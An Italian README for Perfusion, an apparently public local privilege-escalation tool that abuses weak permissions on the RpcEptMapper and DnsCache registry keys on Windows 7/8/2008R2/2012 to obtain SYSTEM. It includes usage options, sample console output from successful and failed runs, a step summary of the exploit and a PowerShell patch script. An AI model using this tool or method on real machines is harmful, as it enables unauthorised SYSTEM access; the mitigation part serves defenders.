
Exploit per la vulnerabilità dei permessi della chiave di registro RpcEptMapper (Windows 7 / 2088R2 / 8 / 2012)
Su Windows 7, Windows Server 2008R2, Windows 8 e Windows Server 2012, la chiave di registro dei servizi RpcEptMapper e DnsCache (solo 7/2008R2) è configurata con permessi deboli. Qualsiasi utente locale può creare una sottochiave Performance e quindi sfruttare i Windows Performance Counters per caricare una DLL arbitraria nel contesto del servizio WMI come NT AUTHORITY\SYSTEM (da qui il nome dello strumento).
Questo strumento è pensato per aiutare i consulenti di sicurezza durante i test di penetrazione. Questo software è fornito così com'è, e probabilmente non fornirò alcun supporto. Tuttavia, l'ho testato a fondo su tre diverse macchine virtuali, quindi non dovrebbero esserci problemi significativi.
Per maggiori informazioni: https://itm4n.github.io/windows-registry-rpceptmapper-eop/
Secondo 0patch, questa vulnerabilità è stata parzialmente corretta con l'aggiornamento di Windows di aprile 2021 (ESU). Ciò significa che le macchine con una versione aggiornata di Windows 8 / Server 2012 non dovrebbero più essere sfruttabili. Tuttavia, Windows 7 / Server 2008 R2 rimane vulnerabile. Basta sfruttare la chiave di registro Dnscache invece di RpcEptMapper. Ho aggiornato il PoC in modo da poterla specificare manualmente con l'opzione -k.
⚠️ LEGGI QUESTO PRIMA DI USARE QUESTO STRUMENTO ⚠️
Durante la fase di sviluppo di questo strumento, ho osservato due comportamenti diversi:
NT AUTHORITY\SYSTEM, in questo caso l'exploit funziona perfettamente.NT AUTHORITY\LOCAL SERVICE. In questo caso, il servizio carica la DLL mentre impersona il client. Si scopre che un'escalation dei privilegi è ancora possibile su Windows 7 (a causa di un'altra vulnerabilità), ma il costo di implementazione non è valso lo sforzo.Non sono in grado di spiegare questa differenza perché il mio codice di trigger è sempre lo stesso. Ad ogni modo, in entrambi i casi, lascia che l'exploit faccia il suo lavoro in modo che possa ripulire tutto quando ha finito. Se l'exploit fallisce, c'è comunque la possibilità che funzioni pochi minuti o ore dopo.
✔️ Ecco cosa dovresti vedere quando l'exploit funziona:
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_2900_368_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[+] Exploit completed. Got a SYSTEM token! :)
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.
C:\Temp>whoami
nt authority\system
C:\Temp>
❌ Ecco cosa dovresti vedere quando l'exploit fallisce:
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_636_3000_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[-] Exploit completed but no SYSTEM Token. :/
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
C:\Temp>
Questa soluzione è composta da due progetti che devono essere compilati in un ordine specifico. Tutto è preconfigurato, quindi devi solo seguire queste semplici istruzioni:
Release / x64Build > Build SolutionPuoi controllare il messaggio di aiuto usando l'opzione -h.
C:\TOOLS>Perfusion.exe -h
_____ ___ _
| _ |___ ___| _|_ _ ___|_|___ ___
| __| -_| _| _| | |_ -| | . | | version 0.2
|__| |___|_| |_| |___|___|_|___|_|_| by @itm4n
Description:
Exploit tool for the RpcEptMapper registry key vulnerability.
Options:
-c <CMD> Command - Execute the specified command line
-i Interactive - Interact with the process (default: non-interactive)
-d Desktop - Spawn a new process on your desktop (default: hidden)
-k <KEY> Key - Either 'RpcEptMapper' or 'Dnscache' (default: 'RpcEptMapper')
-h Help - That's me :)
Le seguenti versioni di Windows sono vulnerabili:
| Versione di Windows | Chiavi di registro vulnerabili |
|---|---|
| Windows 7 | RpcEptMapper, DnsCache |
| Windows Server 2008R2 | RpcEptMapper, DnsCache |
| Windows 8 | RpcEptMapper |
| Windows Server 2012 | RpcEptMapper |
Per quanto ne so, questa vulnerabilità non verrà corretta da Microsoft, per qualche motivo. La soluzione migliore è ancora quella di aggiornare a Windows 10 / Server 2019 ma se non è un'opzione a breve termine, puoi comunque correggere questo problema rimuovendo il permesso CreateSubKey sia per NT AUTHORITY\Authenticated Users che per BUILTIN\Users sulle seguenti chiavi di registro:
HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapperHKLM\SYSTEM\CurrentControlSet\Services\DnsCacheHo creato una patch per questa vulnerabilità sotto forma di script PowerShell: RegistryPatch.ps1. Questo script rimuove il diritto CreateSubKey sulle due chiavi di registro sopra menzionate per le seguenti identità: NT AUTHORITY\INTERACTIVE, BUILTIN\Users e/o BUILTIN\Authenticated Users.
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
True
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Patch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: The new ACL was applied
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\INTERACTIVE" has "QueryValues, CreateSubKey, EnumerateSubKeys, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "CreateSubKey, ReadKey" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: The new ACL was applied
True
Di seguito sono riportati i passaggi dell'exploit implementati in questo strumento:
Temp dell'utente corrente.Performance sotto HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper e viene popolata con i valori appropriati, incluso il percorso completo della DLL creata al punto 2.Win32_Perf per attivare la raccolta dei Windows Performance Counters.NT AUTHORITY\SYSTEM che come NT AUTHORITY\LOCAL SERVICE.NT AUTHORITY\SYSTEM, il suo token viene duplicato e applicato al processo creato inizialmente dall'utente al punto 1.